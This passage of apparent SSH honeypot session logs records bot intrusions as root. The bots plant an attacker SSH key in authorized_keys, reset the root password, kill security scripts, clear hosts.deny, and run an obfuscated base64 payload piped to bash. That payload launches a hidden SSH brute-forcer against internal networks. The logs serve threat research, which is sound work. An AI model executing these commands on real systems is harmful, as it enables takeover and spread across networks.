ls)"},{"seq":13,"at":"2026-08-20T12:49:07.383760+00:00","kind":"output","latency_ms":667,"data":"-rwxr-xr-x 1 root root 148K Apr 8 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:49:08.072481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:49:09.078501+00:00","kind":"output","latency_ms":1004,"data":"0 3 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n15 2 * * 1 /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:49:09.764771+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:49:10.936440+00:00","kind":"output","latency_ms":1156,"data":" 10:48:53 up 9:39, 1 user, load average: 0.01, 0.03, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:47 1.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:49:11.625012+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:49:11.625947+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:49:12.313689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:49:12.880354+00:00","kind":"output","latency_ms":566,"data":"64"},{"seq":22,"at":"2026-08-20T12:49:13.572198+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:49:13.572811+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:13 up 9:39, 0 user, load average: 0.14, 0.14, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:49:14.260387+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:49:14.260700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:49:14.947742+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:49:14.948566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:15.643087+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:15.643587+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:16.330281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:17.321112+00:00","kind":"output","latency_ms":990,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:18.010345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:18.771406+00:00","kind":"output","latency_ms":760,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:20.868564+00:00","kind":"input","latency_ms":null,"data":"echo \"root p@55wOrd\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:21.553887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:22.211659+00:00","kind":"output","latency_ms":657,"data":""},{"seq":37,"at":"2026-08-20T12:49:23.998189+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:27.462892+00:00","kind":"output","latency_ms":3463,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:28.150890+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:28.928511+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:29.614068+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:30.973764+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:31.677222+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:32.360375+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:32.987767+00:00","kind":"output","latency_ms":626,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:33.672417+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:42.508081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T12:49:42.508643+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"p@55wOrd","method":"password","accepted":true,"tier":"other"}]} {"id":"16ce8ab6-9ac3-48a6-8acf-2f1f38563712","name":"meadow-northern-bison","protocol":"ssh","channel_kind":"exec","src_ip":"81.193.216.17","src_port":56682,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":408,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:19.537181+00:00","ended_at":"2026-08-20T12:49:19.664175+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3907,"events":[{"seq":1,"at":"2026-08-20T12:48:43.457372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:43.862202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:48:48.188697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:48:49.039799+00:00","kind":"output","latency_ms":850,"data":"1"},{"seq":5,"at":"2026-08-20T12:48:49.448138+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YoO7YHvKLyMT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:48:49.856410+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:48:49.883402+00:00","kind":"output","latency_ms":434,"data":""},{"seq":8,"at":"2026-08-20T12:48:50.261518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:48:50.828910+00:00","kind":"output","latency_ms":565,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:48:51.235723+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:48:52.285245+00:00","kind":"output","latency_ms":1046,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:48:52.693590+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:48:53.308345+00:00","kind":"output","latency_ms":613,"data":"-rwxr-xr-x 1 root root 141K Aug 20 03:01 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:48:53.715634+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:48:54.973647+00:00","kind":"output","latency_ms":1256,"data":"# m h dom mon dow command\n17 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n*/15 * * * * /opt/stable/bin/hoofcheck.sh >> /var/log/hoofcheck.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh >> /var/log/gallop-backup.log 2>&1\n5 * * * * /opt/stable/bin/canter-deploy.sh >> /var/log/canter-deploy.log 2>&1"},{"seq":16,"at":"2026-08-20T12:48:55.379837+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:48:56.743494+00:00","kind":"output","latency_ms":1361,"data":" 04:49:53 up 9:39, 1 user, load average: 0.00, 0.01, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 04:48 1.00s 0.01s 0.00s w"},{"seq":18,"at":"2026-08-20T12:48:57.149753+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:48:57.150549+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:48:57.558346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:48:58.715772+00:00","kind":"output","latency_ms":1157,"data":"64"},{"seq":22,"at":"2026-08-20T12:48:59.123718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:48:59.124157+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:59 up 9:39, 0 user, load average: 0.25, 0.18, 0.25\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 506 free, 449 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:48:59.530715+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:48:59.531297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:48:59.938593+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:48:59.939046+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:00.352143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:00.353019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:00.755828+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:01.328835+00:00","kind":"output","latency_ms":572,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:01.735772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:02.527740+00:00","kind":"output","latency_ms":790,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:04.337960+00:00","kind":"input","latency_ms":null,"data":"echo \"root Admin12345@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:04.744009+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:05.299941+00:00","kind":"output","latency_ms":554,"data":""},{"seq":37,"at":"2026-08-20T12:49:06.142646+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:06.869941+00:00","kind":"output","latency_ms":726,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:07.275858+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:08.182234+00:00","kind":"output","latency_ms":905,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:08.589009+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:08.995427+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:09.620746+00:00","kind":"output","latency_ms":623,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:10.037925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:10.709176+00:00","kind":"output","latency_ms":669,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:11.124193+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:11.617345+00:00","kind":"output","latency_ms":490,"data":""},{"seq":48,"at":"2026-08-20T12:49:19.538050+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:49:19.538504+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Admin12345@","method":"password","accepted":true,"tier":"other"}]} {"id":"1710c81c-7e3d-4e8a-a4ae-297a449f2993","name":"ivory-pristine-sandpiper","protocol":"ssh","channel_kind":"exec","src_ip":"194.156.249.154","src_port":51750,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":377,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:34:39.652762+00:00","ended_at":"2026-08-20T12:34:42.383964+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2842,"events":[{"seq":1,"at":"2026-08-20T12:34:20.962757+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:34:21.340849+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:34:25.665817+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:34:26.763098+00:00","kind":"output","latency_ms":1096,"data":"1"},{"seq":5,"at":"2026-08-20T12:34:27.141377+00:00","kind":"input","latency_ms":null,"data":"echo \"root:PvtZ7Or3MiGl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:34:27.517461+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:34:27.891714+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T12:34:28.724209+00:00","kind":"output","latency_ms":831,"data":"EPYC 7713 64-Core Processor x1"},{"seq":9,"at":"2026-08-20T12:34:29.046934+00:00","kind":"output","latency_ms":1905,"data":""},{"seq":10,"at":"2026-08-20T12:34:29.100045+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:34:29.861311+00:00","kind":"output","latency_ms":760,"data":"956 218 738 0 0 0"},{"seq":12,"at":"2026-08-20T12:34:30.238370+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:34:31.000789+00:00","kind":"output","latency_ms":761,"data":"lrwxrwxrwx 1 root root 7 Jan 1 2026 /usr/bin/ls -> busybox"},{"seq":14,"at":"2026-08-20T12:34:31.378722+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:34:33.562143+00:00","kind":"output","latency_ms":2182,"data":"# Edit this file to introduce tasks to be run by cron.\n# \n# Each task to run has to be defined through a single line\n# indicating with different fields when the task will be run\n# and what command to run for the task\n# \n# For example, you can run a backup of all your user accounts\n# at 5 a.m every week with:\n# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/*\n#\n# m h dom mon dow command\n*/15 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh >/dev/null 2>&1\n5 3 * * * /opt/stable/bin/hoofcheck.sh --cron >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:34:33.938698+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:34:35.139354+00:00","kind":"output","latency_ms":1200,"data":" 03:09:53 up 9:24, 1 user, load average: 0.08, 0.05, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 03:10 0.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:34:35.515312+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:34:35.515866+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:34:35.892555+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:34:36.404022+00:00","kind":"output","latency_ms":510,"data":"64"},{"seq":22,"at":"2026-08-20T12:34:36.785566+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:34:36.786538+00:00","kind":"output","latency_ms":null,"data":"top - 12:34:36 up 9:24, 0 user, load average: 0.3, 0.28, 0.31\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 516 free, 439 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:34:37.159950+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:34:37.160479+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:34:37.537712+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:34:37.538582+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:34:37.916732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:34:37.917187+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:34:38.295329+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:34:39.276056+00:00","kind":"output","latency_ms":979,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:34:39.653574+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:34:41.167530+00:00","kind":"output","latency_ms":1512,"data":"24.0G"}],"credentials":[{"username":"root","password":"147896325","method":"password","accepted":true,"tier":"other"}]} {"id":"480ec80d-66e2-4856-97dd-06174b2da80f","name":"leafy-freckled-hare","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":34716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:08:41.365257+00:00","ended_at":"2026-08-20T12:08:41.455427+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3731,"events":[{"seq":1,"at":"2026-08-20T12:08:11.011734+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:08:11.329926+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:08:14.418104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:08:15.036937+00:00","kind":"output","latency_ms":619,"data":"1"},{"seq":5,"at":"2026-08-20T12:08:15.359565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:rffgjvI8OdYC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:08:15.675146+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:08:15.830865+00:00","kind":"output","latency_ms":473,"data":""},{"seq":8,"at":"2026-08-20T12:08:15.992904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:08:16.621243+00:00","kind":"output","latency_ms":628,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:08:16.940169+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:08:17.517016+00:00","kind":"output","latency_ms":576,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:08:17.836628+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:08:18.571448+00:00","kind":"output","latency_ms":733,"data":"-rwxr-xr-x 1 root root 140K Jan 24 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:08:18.890050+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:08:19.909020+00:00","kind":"output","latency_ms":1018,"data":"0 2 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/15 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n@reboot /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:08:20.228445+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:08:21.545759+00:00","kind":"output","latency_ms":1313,"data":" 08:58:12 up 8:58, 1 user, load average: 0.02, 